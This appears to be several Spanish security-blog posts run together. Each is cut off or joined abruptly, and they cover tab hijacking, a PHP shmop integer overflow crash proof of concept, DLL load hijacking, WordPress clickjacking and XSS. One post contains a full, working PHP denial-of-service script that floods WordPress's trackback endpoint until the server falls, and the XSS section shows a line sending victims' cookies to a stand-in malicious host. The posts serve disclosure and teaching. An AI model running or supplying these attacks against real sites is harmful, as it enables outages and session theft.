Ni los gobiernos ni las empresas están preparados para esta guerra, china es el único que ha hecho los deberes y tiene su propio sistema operativo creado por ellos y según sus palabras “invulnerable” que ha instalado en todos sus sistemas críticos. Le han llamado Kylin y está basado en FreeBSD con una capa de seguridad adicional, desarrollada por Instituto de Denfensa Nacional Chino.

Históricamente este tipo de páginas han hecho uso de todos los mecanismos posibles para engañar al usuario y hacerle creer que está en una página legitima y que debe introducir sus credenciales. Una técnica habitual hoy en día es el tabnabing, que consiste en cargar una página normal y corriente, con un blog por ejemplo, y cuando la página pierde el foco, reemplazarla por una página idéntica a gmail, con favicon incluido.

La carrera por el phishing ha llegado a tal punto, que los timadores han desarrollado todo un arsenal de trucos sucios y rebuscados para hacerte creer que estás en gmail.com y no en una web que lo suplanta.

Una manera habitual utilizada por los usuarios (y casi la única para un usuario de a pie) de comprobar que están interactuando con gmail.com y no con una web que lo suplanta, es comprobar la barra de direcciones (URL).

Comprobar la URL para ver que el dominio coincide antes de introducir los credenciales suele ser una buena idea, sin emargo, durante la investigación de un bug muy extraño en una página web (no relacionado con todo esto) se me ha ocurrido una manera curiosa e ingeniosa de engañar al usuario, incluso si este comprueba la URL.

El truco se apoya en una funcionalidad “poco” conocida de HTML. En HTML es posible enlazar a una página en otro dominio y forzar a que se abra en una ventana/pestaña nueva. Cuando el usuario hace click en el enlace, se abre una nueva ventana o pestaña (depende de la configuración) con la web enlazada.

Los enlaces en HTML se hacen usando la etiqueta anchor, que tiene la forma típica:

<a href=”http://gmail.com”>go to gmail!</a>

Sin embargo, anchor tiene un atributo llamado target que sirve para especificar de que forma se va a abrir este enlace, en una nueva ventana, en la misma, etc.

Si utilizamos un valor arbitrario para target, como por ejemplo “lol”, y creamos un enlace del tipo:

<a href=”http://gmail.com” target=”lol”>go to gmail!</a>

El enlace se abre en una nueva ventana. Pero si se hace click en otro enlace que tenga también definido target al mismo valor, en lugar de abrirse otra nueva ventana/pestaña, se redirecciona la pestaña abierta originalmente.

Esto abre las puertas a un ataque en el cual el usuario hace click en un enlace que le lleva a gmail.com, el usuario comprueba la URL y es efectivamente gmail.com. Sin embargo, al hacer click en el enlace y abrirse gmail.com, la página original desde la que el usuario ha llegado a gmail.com, se ha quedado abierta en otra pestaña/ventana. Entonces, se activa un temporizador que en X segundos redirecciona gmail.com a otra web, con el aspecto de gmail, pero que le dice que la sesión ha expirado.

Esta redirección puede llegar a ser MUY rápida e invisible para el usuario,  que volvería a introducir los credenciales ya que ya comprobó la url.

La explicación es un poco compleja, así que un ejemplo vale mas que mil palabras:

Ejemplo de tab hijacking.

Si hacéis click en el ejemplo, veréis un enlace a gmail, al presionarlo se abrirá gmail.com en una nueva ventana/pestaña. Si os quedáis mirando gmail durante unos segundos (8 segundos) veréis que de pronto y sin tocar nada la página que estáis viendo (gmail.com) es sustituida por php.net, sin previo aviso ni interacción por parte del usuario.

El cambio de gmail.com a php.net es MUY obvio, pero el cambio de gmail.com a un dominio malicioso con apariencia de gmail no es tan obvio, y puede suceder en milisegundos.

El problema de este tipo de tricks es que es muy difícil evitarlos sin comprometer la usabilidad del navegador.

Debido a que esto no es un error de seguridad al uso, he decidido publicarlo para abrir debate sobre si esto es realmente peligroso usado malintencionadamente, o si por el contrario pensáis que es inofensivo: aunque creo que cualquiera que vea un ejemplo mas arriesgado con un gmail y una web que imita gmail y que carga en 100ms, estará bastante convencido de que es arriesgado.

Con la web cada vez mas rica en funcionalidades y navegadores cada vez mas potentes, empieza a ser muy difícil mantener protegido y aislado al usuario, especialmente contra ataques phishing.

En sus inicios, PHP no era mas que un conjunto de scripts en perl que funcionaban a modo de CGI. Hoy en día, PHP es un lenguaje con motor propio, llamado Zend, disponible para gran cantidad de sistemas operativos y plataformas. Uno de los puntos mas interesantes de PHP es las posibilidades que ofrece para crear entornos controlados. PHP permite ser instalado para ejecutarse como módulo de apache y correr con los privilegios de apache los scripts PHP que necesite ejecutar. Existe la posibilidad de configurar el motor de PHP para que no permita a los scripts operar fuera de unos directorios controlados, utilizar ciertas funciones o consumir mas de una cantidad determinada de recursos.

Estas funcionalidades de control sobre lo que hacen o dejan de hacer los scripts PHP han permitido la aparición de numerosos servidores que ofrecen hosting compartido para scripts PHP, pues utilizan estas funcionalidades para controlar que un cliente no afecta ni altera datos de otro cliente.

En la actualidad, estas funcionalidades son imprescindibles, no solo por los hostings compartidos, sino por la gran cantidad de agujeros de seguridad que se encuentran día tras día en scripts PHP populares, como foros, blogs, libros de visitas, scripts de noticias etc. PHP no puede garantizar que cada desarrollador del mundo haga bien su trabajo, y por eso ofrece estas funcionalidades para enjaular al máximo cada script, presuponiendo que alguno estará mal hecho.

Algunas de estas funcionalidades de control son open_basedir y safemode, entre otras. Muchas de estas funcionalidades no se recomiendan desde PHP, debido a que es muy difícil para PHP controlar todo lo que hace un script, para garantizar que no accede a donde no debe. Aún y así, hoy en día es una funcionalidad extensivamente utilizada.

Como consecuencia de estas medidas de control, han surgido una gran cantidad de agujeros de seguridad que desde un script PHP provocan errores en el motor Zend para terminar ejecutando código arbitrario, o provocar errores que dejen offline al servidor, o consuman mas recursos de los autorizados por el motor.

Este tipo de errores están pensados para ser ejecutados una vez se tiene acceso para ejecutar código PHP, y solo sirven para saltarse las restricciones del motor y conseguir acceso al sistema, o bien conseguir su mal funcionamiento. No deben confundirse con errores en los propios scripts PHP que permitan acceso a la base de datos o similares.

Durante el fin de semana pasado estube leyendo el código fuente de PHP con la intención de encontrar alguno de estos errores. PHP está desarrollado en C y sigue un modelo de plugins o extensiones. Al descargar el código tienes el motor en un directorio llamado Zend, y las extensiones base en un directorio llamado ext. Casi todas las funciones de PHP son parte de una extensión y no del core en si mismo, incluidas las funciones fsockopen, o fopen, o explode, todas son parte de extensiones.

Durante el fin de semana que estuve auditando PHP, me centré en las extensiones mas susceptibles de fallos, empecé estudiando GD, pero enseguida me di cuenta que era inmensa, y que atacar por ahí me llevaría demasiado tiempo. Poco después me fijé en shmop.

Shmop es una extensión de php, incluída en PHP por defecto, que permite crear zonas de memoria compartida. La función que llamó mi atención fue shmop_read, que permite dado un identificador de una región de memoria compartida, leer una cantidad de datos especificada, a partir de un desplazamiento especificado.

Es decir, supongamos que creamos una región de memoria compartida con shmop_open. Le damos un tamaño de 5 bytes e introducimos el texto “mundo” utilizando shmop_write. A continuación al utilizar shmop_read con el identificar de esa memoria compatida, podríamos leer “ndo” leyendo 3 bytes, con desplazamiento 2. O bien leer “do” leyendo 2 bytes con desplazamiento 3.

La función shmop_read está declarada así:

string shmop_read ( int $shmid , int $start , int $count )

El primer parámetro es el identificador de la zona de memoria compartida a leer. El segundo, es desde donde leer (el desplazamiento), y el último parámetro es la cantidad de bytes a leer.

Es la típica función de lectura con un parámetro para la cantidad a leer, y otro para “desde donde” leer, contando desde el inicio de la memoria compartida apuntada por el identificador proporcionado. Si pudiésemos especificar una cantidad de bytes a leer superior a la que hay en la región de memoria compartida, podríamos leer memoria arbitraria de PHP. O bien, si pudiésemos especificar un desplazamiento superior al tamaño de la memoria compartida, también podríamos leer memoria arbitraria de PHP.

Sin embargo, a priori la función shmop_read se encarga de comprobar ese tipo de cosas:

if (start < 0 || start > shmop->size) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, “start is out of range”);
RETURN_FALSE;

}

if (start + count > shmop->size || count < 0) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, “count is out of range”);
RETURN_FALSE;
}

Primero se comprueba que start no sea menor que 0, que no tendría sentido, luego se comprueba que start no sea mayor que el tamaño de la memoria compartida que pretendemos leer. Por lo que el parámetro start de shmop_read, es seguro. No se puede especificar un valor de desplazamiento mayor que el tamaño de la memoria compartida en si misma.

El segundo parámetro, la cantidad de bytes a leer, es comprobado en el segundo if. Primero se comprueba que start + count no sean mayores que el tamaño de la memoria compartida en si misma. De esta forma, cualquier combinación de desplazamiento y cantidad de datos a leer, devolvería una porción de memoria dentro de la región de memoria compartida. Luego el if comprueba que count no sea negativo, lo cual no tendría sentido.

A priori este código es seguro. Su misión es controlar que los parámetros “start” y “count” de shmop_read no provocan que php lea fuera de la región de memoria compartida apuntada por el identificador proporcionado. Sin embargo, el problema reside en que tanto start como count están declarados así:

long shmid, start, count;

Si el servidor es de 32 bits, en el lenguaje C, long es un entero con signo de 32 bits. Eso quiere decir que el primer bit se reserva para el signo. Eso significa que el valor máximo que puede contener count o start es 2^31, es decir, 31bits todos a 1. Superado este valor, el bit que estaba reservado para el signo, se pondrá a 1, lo cual significa que el número es negativo.

Esto significa que si en count ponemos como valor exactamente 2^31, es decir 2147483647, y en start ponemos 1, la cosa queda así:

if (start < 0 || start > shmop->size) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, “start is out of range”);
RETURN_FALSE;

}

Superamos este condicional, pues start = 1, por lo que ni es menor que 0, ni mayor que la memoria compartida que pretendemos leer.

A continuación:

if (start + count > shmop->size || count < 0) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, “count is out of range”);
RETURN_FALSE;
}

start + count = 2^31 + 1, o lo que es lo mismo: 2147483647+1 = -2147483647.

Por que un número negativo? Por que al superar los 31 bits, y convertirse en un número de 32 bits, el bit reservado para el signo se ha puesto a 1, indicando que el número es negativo. Por lo que -2147483647 nunca será mayor que la memoria compartida que pretendemos leer. La segundo parte del condicional comprueba que count por si solo no sea menor que 0. count por si solo es 2^31, un número positivo muy grande, mucho mayor que 0.

Hemos superado el condicional pese a haber especificado un tamaño gigante en count, mucho mayor que el área de memoria compartida que pretendemos leer, gracias a un integer overflow.

Debajo de los condiconales, hay:

startaddr = shmop->addr + start;
bytes = count ? count : shmop->size – start;

return_string = emalloc(bytes+1);
memcpy(return_string, startaddr, bytes);
return_string[bytes] = 0;

RETURN_STRINGL(return_string, bytes, 0);

Se reserva memoria para leer el tamaño especificado por count, que es 2^31, es decir, 2gb, y luego se hace un memcpy de 2gb empezando por la dirección de memoria de la región de memoria compartida. Obviamente, la región de memoria de PHP es mucho menor que 2gb, y al intentar hacer ese memcpy, se provoca una violación de segmento.

Una llamada a ltrace, revela:

malloc(2147745792)                                                                                                                                 = 0×35cbd008
memcpy(0×35cbd024, “”, 2147483647 <unfinished …>
— SIGSEGV (Segmentation fault) —
+++ killed by SIGSEGV +++

Como vemos, se reservan 2^31 bytes, y se intentan copiar a saco dentro de 0×35cbd024, que es el puntero que luego se devolverá hacia el script php que ha ejecutado shmop_read.

Si por algún motivo, no se saliese de la memoria de PHP, por ejemplo por que previamente se haya reservado esa cantidad de memoria y los planetas se hayan alineado un poco, se recuperaría en el script php 2gb de memoria raw, con cualquier tipo de información.

Para reproducir el fallo, basta con un simple script php:

lol@mickeymouse:~$ cat lol.php

<?php
//PHP <= 5.3.5 Integer overflow (CVE-2011-1092)

//discovered by Jose Carlos Norte (jcarlos.norte@gmail.com)
//
$shm_key = ftok(__FILE__, ‘t’);
$shm_id = shmop_open($shm_key, “c”, 0644, 100);
$shm_data = shmop_read($shm_id, 1, 2147483647);
//if there is no segmentation fault past this point, we have 2gb of memory!
echo $shm_data;
?>
lol@mickeymouse:~$ php lol.php
Segmentation fault
lol@mickeymouse:~$

El error termina por provocar una violación de segmento y PHP muere. Este error a priori parece no muy explotable, y su peligrosidad es muy reducida, podría permitir algún memory disclossure en algún entorno muy concreto, o provocar denegaciones de servicio en servidor compartidos, depende de la configuración del servidor web.

Es muy interesante en cambio para ilustrar como se encuentra un bug de seguridad en software real, y lo desapercibido que puede pasar un problema de seguridad como este, que en muchos casos, termina en problemas mas graves y sobretodo mas explotables.

Tras estar en contacto con el equipo de seguridad de PHP, que por cierto son muy rápidos y efectivos, el problema está solucionado en el SVN y en PHP 5.3.6 que será liberada inminentemente.

En principio había decidido no publicar nada hasta la publicación de PHP 5.3.6, pero a partir del commit en el SVN de PHP, y de la petición de un número CVE, la noticia ha corrido como la polvora, y me encuentro con este advisory en bugtraq, increíble.

Menos mal que el error no es totalmente grave, pero esto me da que pensar sobre como gestionar la información de seguridad en proyectos con SVN públicos, donde la gente ve los commits día a día…es difícil, sobretodo es difícil que no salte a bugtraq antes que la release que arregla el problema, pero bueno.

Tal como expliqué, el Dll Load Hijacking consiste en conseguir que una aplicación cargue una DLL (que podría ser maliciosa) en el momento en que la aplicación abre un fichero. O dicho de otra forma, tu abres un fichero png con photoshop, y el photoshop carga una DLL que hay al lado del png, y que es maliciosa.

Si se dispone del escenario correcto, se puede conseguir ejecutar código en el sistema de la víctima, solo con que abra un fichero doc, odt, png, o cualquier otro inofensivo fichero de datos.

Mucha gente a favor de microsoft, está argumentando que este problema de seguridad, no es culpa de windows, sino de las aplicaciones vulnerables, en mi ejemplo el photoshop. Sin embargo la realidad es bien distinta, y aunque esté habiendo un poco de campaña tanto para quitarle peso a este asunto, como para limpiar la cara de Microsoft, la verdad acaba saliendo siempre a relucir.

En primer lugar, es importante comprender de donde viene el agujero de seguridad. A día de hoy, se han encontrado en unos días ya cientos de aplicaciones vulnerables, lo cual levanta sospechas de que la culpa no es de esas aplicaciones, sino del propio windows, ¿verdad?

Indagando un poco sobre el tema, he encontrado la función de marras que ha liado todo este jaleo, se trata de SetDllDirectory. Pero para entender esta función, primero hay que entender bien el tema de las Dll.

Cuando un programa en windows intenta cargar una Dll, existen una serie de rutas donde intentará encontrar el fichero (al estilo $PATH), setDllDirectory permite agregar un directorio mas donde windows buscará las Dll, de forma que un developer puede poner todas sus dll en un directorio y llamar a setdlldirectory pasándole la ruta de ese directorio, y hasta ahí todo parece perfecto. Veamos la definición de la función:

BOOL WINAPI SetDllDirectory(
  __in_opt  LPCTSTR lpPathName
);

Pues si, es así.

Si leemos un poco mas en la MSDN, vemos que:

After calling SetDllDirectory, the DLL search path is:

1. The directory from which the application loaded.
2. The directory specified by the lpPathName parameter.
3. The system directory. Use the GetSystemDirectory function to get the path of this directory. The name of this directory is System32.
4. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. The name of this directory is System.
5. The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
6. The directories that are listed in the PATH environment variable.

Es decir, antes de llamar a SetDllDirectory, las Dll se empezaban a buscar en el punto 3. hasta el punto 6. Para un developer que está haciendo una aplicación es muy útil poder agregar un directorio mas, en el punto 2. Sin embargo, fijaros en el punto 1, SetDllDirectory no solo agrega una ruta mas para encontrar la Dll, sino que además, agrega también la ruta del directorio de trabajo desde el que se ha lanzado la aplicación!.

Que pasa entonces si la aplicación, que es la aplicación asociada para abrir ficheros png, al iniciarse necesita cargar ‘hola.dll’? Que si el desarrollador utiliza SetDllDirectory en algún sitio, el primer lugar donde se irá a buscar hola.dll es al lado del fichero png que hemos abierto, que podrías estar por ejemplo, en un pen drive, en una unidad compartida…etc.

Explotar esto es tan fácil como poner la dll que el programa irá a buscar al lado del fichero de datos asociado con el programa. Cuando el usuario haga click en el fichero, por ejemplo un png (o cualquier otro), se ejecutará el programa, que llamará a SetDllDirectory y luego empezará a cargar las Dll, cargando así nuestra Dll maliciosa que hay al lado del fichero png, doc, o lo que sea.

Para mas inri, nuestra Dll maliciosa podría estar oculta, y ni siquiera la vería el usuario.

Esto es especialmente grave, debido a que si ahora cambian la función, miles de aplicaciones dejarán de funcionar, por que la utilizaban. Si no la cambian, miles de aplicaciones son a día de hoy vulnerables, y el pobre usuario de windows no podrá ni abrir un png de un pen drive, sin que le tiemble la mano.

El sistema operativo de Microsoft no goza de una buena fama en lo que a seguridad se refiere. Ha sufrido decenas de problemas de seguridad muy graves que han provocado en el pasado y actualmente, perdidas millonarias a empresas y organizaciones.

Hoy en día, cualquier usuario de internet, sabe que Windows, es inseguro. Sin embargo, esto a veces es mas cierto, y otras veces menos, dependiendo de los descubrimientos que se hacen, y de las jugadas por parte de Microsoft para paliar estos problemas.

Sin embargo, el mes de agosto está siendo un mes negro para la seguridad en Windows, aunque mucha gente no lo sabe. Todo empezó realmente hace 10 años, cuando el célebre Georgi Guninsky descubrió un agujero de seguridad en Windows NT, XP, 2000, 95 y 98:

http://www.securityfocus.com/bid/1699/discuss

Este agujero de seguridad, consistía en que cuando se accede a un fichero de datos (por ejemplo, un .doc) que está en un directorio cualquier del sistema, Windows intenta cargar los ficheros dll que necesita para ejecutar esa aplicación desde la ubicación en la que está el fichero, antes de intentarlos cargas desde los directorios normales del sistema.

Esto significa que si ponías un fichero .doc al lado de un fichero .dll concreto, al abrir el .doc con Office, el sistema cargaba y ejecutaba el fichero dll, como consecuencia.

De esta forma, era posible ejecutar código solo con que el usuario abriese un .doc, un jpeg, un png, un gif o prácticamente cualquier cosa.

Sin embargo, por aquel entonces, aun no estaba claro el alcance de este agujero, y pasó como una entrada mas en la lista de seguridad bugtraq.

Y no fue hasta el 18 de agosto de este año, que la firma de seguridad Acros, envió un aviso a la lista de seguridad bugtraq diciendo que había encontrado un agujero de seguridad en iTunes, que realmente, consistía en hacer lo exactamente descrito por Guninsky (mas o menos) 10 años atrás.

Como consecuencia de este aviso, HD Moore, el 23 de agosto pública una entrada en Rapid7 en la que explica que el ya conocía este problema, que había intentado que se solucionase rápidamente, y que estaba en contacto con Microsoft, donde le habían dicho que ellos también conocían el problema.

Prácticamente el mismo día HD Moore escribe en el blog de metasploit framework, una explicación de como funciona este bug, y además proporciona lo que el llama DllHijackAuditKit, un conjunto de scripts diseñado para testear automáticamente si una aplicación de windows es vulnerable a este error.

Como consecuencia de esto, aparecen en securityfocus los próximos días (incluido hoy), una inmensa cantidad de avisos de software vulnerable a este problema, entre los que se encuentran Photoshop, Office, Firefox, y un largo etc.

La forma de explotarlo es sencilla: un pen drive, una unidad remota, etc. Cualquier directorio en el que podamos poner una dll oculta y un fichero, que sea abierto por un programa vulnerable al hacer doble click en el, es vulnerable.

Sin duda, es increíble que 10 años después, esto siga funcionando (con variaciones técnicas) y que provoque una oleada inmensa de problemas de seguridad en decenas de software usados por millones de personas, provocando una situación de inseguridad, muy elevada.

Hace unos días encontré un problema que afecta a todas las versiones de wordpress, y que puede ser explotado de forma bastante sencilla, sin embargo, requiere un poco de interacción con el administrador del blog, para que caiga en nuestra pequeña trampa.

Insisto en que no se trata de un engaño ni de que el administrador nos de su contraseña ni nada rastrero, es un agujero de seguridad real, como ahora explicaré.

El problema empieza en el fichero press-this.php, dentro de wp-admin:

http://www.ejemplo.com/wordpress/wp-admin/press-this.php?t=Hacked%20by%20me&s=a%20pro%20hacker%20hacked%20this%20blog

Si el administrador del sitio visitase esta url (ya veremos como), le sale un editor para crear una nueva entrada en el blog, y además, rellenado ya con un título para la entrada y un cuerpo para la entrada, que podemos rellenar utilizando esas dos variables que van por GET.

Esto es un pequeño CSRF que nos permite rellenar el formulario sin que el usuario toque nada.

El problema está en que aunque montemos una web, tipo www.webmuymuymala.com y dentro metamos un iframe que apunte a esa url, y mandando un correo, hagamos que el dueño del blog entre a www.webmuymuymala.com, aun y así, no pasará nada, por que aunque el contenido del nuevo post se autorellena, falta pulsar el botón publicar, cosa que el administrador no hará.

Llegados a este punto, podemos tirar de otra técnica explicada aquí en este mismo blog, llamada clickjacking,  para insertar un iframe apuntando a esa URL, bajarle la opacidad a 0, de forma que no se ve nada, y justo debajo del botón publicar, poner un botón que ponga: entrar en mi página!, que aparezca al entrar en www.webmuymuymala.com.

Ahora solo tenemos que convencer al administrador del blog para que entre en nuestra web, el verá una portada y un botón normal y corriente para entrar en la web, y cuando clique, estará clicando en un iframe transparente que tiene encima, concretamente, en el botón publicar del post pre-rellenado.

Lo voy a ilustrar con un par de imagenes, para que se entienda mas fácil:

Página web normal y corriente, con un iframe dentro, que apunta a lo explicado arriba

Ahora reducimos un poco la opacidad del iframe, para que se vea lo que hay debajo:

y finalmente reducimos la opacidad a 0, ¿alguien se daría cuenta del engaño? Es imposible, sin tener instalada alguna extensión como noscript.

Como veis, es totalmente imposible saber que hay un iframe transparente encima de ese botón enter.

Cuando el administrador pulse en el botón Enter, estará picando en publicar y agregará una nueva entrada a la portada de su blog, sin llegar a ver nada.

Para evitar este tipo de problemas, las páginas importantes como facebook o twitter impiden cargar ciertas áreas dentro de un iframe, he contactado con wordpress y les he recomendado que la administración no se pueda cargar en un iframe, han abierto un ticket aquí:

http://core.trac.wordpress.org/ticket/12293

Y están debatiendo que hacer. En wordpress.com, el servicio público que ofrecen ya está parcheado. Para variar, y debido a mi MUY mala relación con wordpress, han vuelto a no darme crédito por el aviso ni por nada (es lo que tiene llevarse mal, muy mal), aunque he querido arreglar un poco las cosas y no he publicado hasta que Ryan Boren, de wordpress me ha dado el visto bueno.

Sin embargo, este es un enfoque poco realista del problema, la seguridad informática no trata acerca de aplicar ciertos patrones para intentar encontrar errores, no trata sobre lo que debes y lo que no debes hacer. Trata exclusivamente de buscarle la vuelta a todo, de preguntarse si aquello que ves, es solo como lo ves, o puede mirarse desde otro punto de vista. A menudo la seguridad informática trata sobre preguntarse si el código que vemos hace sólo lo que dice que hace, o puede hacer algo mas.

Pese a que esta entrada trata sobre un agujero de seguridad que he encontrado en wordpress, y que afecta a todas las versiones, incluida la última, he querido empezar aclarando todo esto, para poder explicar por que todavía no existe parche para el bug, o por que wordpress no se toma en serio estos problemas.

Hace 6 días, descargué el código de wordpress de la página oficial, lo agregue como proyecto a mi IDE, y empecé a leer el código, al cabo de poco rato, abrí el fichero wp-trackbacks.php, y me di cuenta de que existía un error muy grave en el, tanto que permitiría a un usuario cualquiera de internet, dejar completamente caído cualquier servidor que aloje wordpress, en tan solo 5 minutos y con unas 20 y pico peticiones únicamente. El error consiste en realizar una petición que a wordpress le resulte tan compleja de procesar, que invierta muchísima memoria y CPU en ella, tanta que cuando le llegue la siguiente petición, y la siguiente y la siguiente, llegue un momento que se colapse, y no sea capaz de atender nada mas. Esto acaba provocando que el servidor completo deje de responder, y el resto de visitantes, no puedan ver la páginas.

Este error, es explotable desde cualquier conexión a internet, y no requiere de ordenadores zombies, ni de nada, son sólo 20 peticiones a lo sumo, desde una línea ADSL convencional, para dejar K.O. a cualquier servidor que hospede un blog basado en wordpress.

Podríamos decir que cualquier chico en internet, podría tener el blog mas grande de toda la red, con 2 clicks, hacer que deje de funcionar indefinidamente.

Sin embargo, tras comunicar el error a security@wordpress.org, no obtuve respuesta. Al cabo de 3 o 4 días sin respuesta, reenvié el correo a m@wordpress.org (el creador de wordpress) y al cabo de 2 días mas, me contestaron diciéndome que lo arreglarían, aunque no iban a utilizar el arreglo que yo había sugerido si no otro, y que no sabían muy bien cuando lo arreglarían, vaya, como si todo esto fuese una tontería y no importase que millones de wordpress puedan ser tirados por cualquiera haciendo 3 clicks. Y no solo el wordpress, sino el servidor entero que lo hospeda.

Tras esto, empecé a estar molesto, me di cuenta de que si esto fuese un SQL Injection de libro, ya habría parche, pero que para ellos esto es un bug de segunda. Sin embargo lo gracioso es que la solución alternativa que ellos me han propuesto en el correo, es incorrecta, y wordpress seguiría siendo vulnerable incluso después de actualizar (sea cuando sea que pongan disponible la actualización).

Por ello, en este post, aparte de explicar el bug ,y dar un código de ejemplo para explotarlo, voy a explicar su solución, y luego la mía, y por que la suya es incorrecta.

El problema está, como ya he dicho en wp-trackbacks.php, donde hay el siguiente código:

if ( function_exists(‘mb_convert_encoding’) ) { // For international trackbacks
$title     = mb_convert_encoding($title, get_option(‘blog_charset’), $charset);
$excerpt   = mb_convert_encoding($excerpt, get_option(‘blog_charset’), $charset);
$blog_name = mb_convert_encoding($blog_name, get_option(‘blog_charset’), $charset);
}

Y $charset viene a través de $_POST['charset'], igual que el resto, todas vienen de $_POST, enviadas por el usuario, y no existe ningún tipo de control de longitud sobre ellas. El problema reside en mb_convert_encoding, que es una función que convierte una cadena de texto de un charset dado, a otro, no solo acepta convertir del charset X al charset Y, sino que permite especificar una lista de charset separados por coma, en el charset de origen, y si recibe una lista, probará hasta encontrar el charset correcto, ejemplo:

$text = mb_convert_encoding($text,’UTF-8′,’UTF-7,ISO-8859-1′);

Esa línea convertiría la variable $text a UTF-8 probando primero si está inicialmente en UTF-7 o en ISO-8859-1.Sin embargo, algo curioso de mb_convert_encoding, es que si ejecutamos algo así:

$text = mb_convert_encoding($text,’UTF-8′,’ISO-8859-1,ISO-8859-1,ISO-8859-1,ISO-8859-1′);

mb_convert_encoding intentará detectar el charset de $text, y primero comprobará si es ISO-8859-1, luego volverá a comprobarlo, y luego otra vez, y otra mas. Y tantas, como veces lo pongamos en la lista. Esto no sería un problema si no fuese por que el mecanismo para determinar el charset de una cadena unicode (multibyte) es realmente costoso para el sistema.

Por lo que si en $charset (mediante $_POST) le enviamos una cadena con 350k de UTF-8 separados por comas, y en $title por ejemplo, le enviamos una cadena de 350k de largo, hará comprobaciones sobre 350k^2 caracteres, lo cual requiere realmente mucho tiempo (minutos). Minutos durante los cuales el servidores está casi casi saturado, y eso sumado a que podemos repetir la petición X veces, hasta que tiene que hacer 350k^2*X, lo cual le acaba resultando casi imposible, o muy largo, y el resto de servicios y las peticiones legítimas a la web dejan de funcionar, por que no quedan recursos.

El código del exploit está hecho php, y se ejecuta desde el terminal así: php exploit.php http://urldelblog.com, y es el que sigue:

<?php
//wordpress Resource exhaustion Exploit
//http://rooibo.wordpress.com/
//security@wordpress.org contacted and get a response,
//but no solution available.
if(count($argv) < 2) {
echo “You need to specify a url to attack\n”;
exit;
}

$url = $argv[1];

$data = parse_url($url);
if(count($data) < 2) {
echo “The url should have http:// in front of it, and should be complete.\n”;
exit;
}

if(count($data) == 2) {
$path = ”;
} else {
$path = $data['path'];
}
$path = trim($path,’/');
$path .= ‘/wp-trackback.php’;
if($path{0} != ‘/’) {
$path = ‘/’.$path;
}

$b = “”;
$b = str_pad($b,140000,’ABCEDFG’);
$b = utf8_encode($b);
$charset = “”;
$charset = str_pad($charset,140000,”UTF-8,”);

$str = ‘charset=’.urlencode($charset);
$str .= ‘&url=www.example.com’;
$str .= ‘&title=’.$b;
$str .= ‘&blog_name=lol’;
$str .= ‘&excerpt=lol’;

$count = 0;
while(1) {
$fp = @fsockopen($data['host'],80);
if(!$fp) {
if($count > 0) {
echo “down!!!!\n”;
exit;
}
echo “unable to connect to: “.$data['host'].”\n”;
exit;
}

fputs($fp, “POST $path HTTP/1.1\r\n”);
fputs($fp, “Host: “.$data['host'].”\r\n”);
fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
fputs($fp, “Content-length: “.strlen($str).”\r\n”);
fputs($fp, “Connection: close\r\n\r\n”);
fputs($fp, $str.”\r\n\r\n”);

echo “hit!\n”;
$count++;
}

?>

Para solucionar el problema y no ser vulnerables, es tan fácil como editar wp-trackbacks.php y poner un control sobre $_POST['charset']. Wordpress me ha sugerido que lo que harán será controlar que no tenga comas, sin embargo, eso es insuficiente, ya que mb_convert_encoding acepta arrays como argumento, en lugar de listas separadas por comas, y se pueden pasar arrays mediante $_POST usando [] en las variables. La solución pasar por eliminar cualquier coma de $_POST['charset'] y comprobar que no sea un array, con !is_array.

Dicho de otra forma, abrir wp-trackbacks.php, buscar la línea:

$charset = $_POST['charset'];

Y cambiarla por:

$charset = str_replace(“,”,”",$_POST['charset']);
if(is_array($charset)) { exit; }

Y se soluciona el problema.

Como decía al principio del post, entiendo que en wordpress no se han tomado esto muy en serio, como anteriores problemas que encontré, por lo que he decidido que es mejor hacerlo público y que la gente lo solucione, que esperar a ver cuanta gente mas ha encontrado ya este error, y no lo está aprovechando, ya que a wordpress parece no importarle demasiado. No se si me estoy equivocando o no, pero me siento impotente de no poder hacer nada para que este error sea corregido ya, y solo puedo hacer dos cosas, o callármelo, y desear que nadie mas encuentre el error, o divulgarlo, junto a su solución y que esto se arregle.

Actualización: he revisado wp-trackbacks.php y desactivar los trackbacks no soluciona nada, ya que esto sucede ANTES de esa comprobación, la única solución es la que se explica en el post, modificar esa línea de wp-trackbacks.php.

En la actualidad, con la extrema popularidad e importancia que tiene el mundo web, los gusanos han ido evolucionando, de forma que ha nacido un nuevo tipo de gusano, que no infecta tu ordenador, ni es un programa compilado que debes descargar, sino que es un pequeño fragmento de código javascript, que infecta tu perfil en alguna web.

Todo empezó con los agujeros de seguridad de tipo Cross Site Scripting (XSS), un tipo de agujero de seguridad, al que no se le presta tanta atención como a otros que a priori parecen mas peligrosos, como los Sql Injection, o similares, pero que es tanto o mas peligroso.

Pero para entender los web worms, debemos empezar desde muy al principio, desde las bases de los ataques tipo XSS. Un ataque XSS persigue, normalmente, robar la cookie del visitante. La cookie es una pequeña porción de información, que sirve para que la página web, recuerde que te has autenticado correctamente, y no te pida la contraseña cada vez que quieres hacer una acción.

Para robar la cookie, los ataques XSS se sirven de código javascript, ya que el código javascript se ejecuta en el navegador, tiene acceso a las cookies del mismo, sin embargo, por seguridad, un código javascript solo puede ver las cookies del sitio web que hospeda ese código javascript.

Es decir, si yo visito www.ejemplo.com, y esta web me envía un javascript que accede a las cookies, este javascript no podrá ver mis cookies de otras páginas web.

Y es en esa protección, en la que reside el peligro del Cross Site Scripting; imaginemos una página web que te pregunta tu nombre al entrar, tu lo introduces, y te muestra por pantalla: Hola! <nombreintroducido>. Si yo, en el nombre, introduzco:

<script>alert(document.cookie)</script>

Mi código javascript, podrá acceder a las cookies de esa página web, ya que el código javascript, el navegador, lo recibe a través de la web que me ha preguntado mi nombre.

¿Cual es el peligro real de todo esto?

Veamos un ejemplo ficticio, pero posible…Imaginemos que gmail tiene un error de seguridad, y permite introducir código javascript en el cuerpo de un mail, yo podría escribirte un mail que contubiese el siguiente código:

<script>document.location.href = ‘www.paginamaligna.com/recogercookie.php?cookie=’+document.cookie; </script>

Cuando tu abrieses el correo, el navegador te redirigiría hacía paginamaligna.com, pasándole por GET, tu cookie, a la cual hemos tenido acceso, ya que el javascript, para el navegador, procedía de gmail.

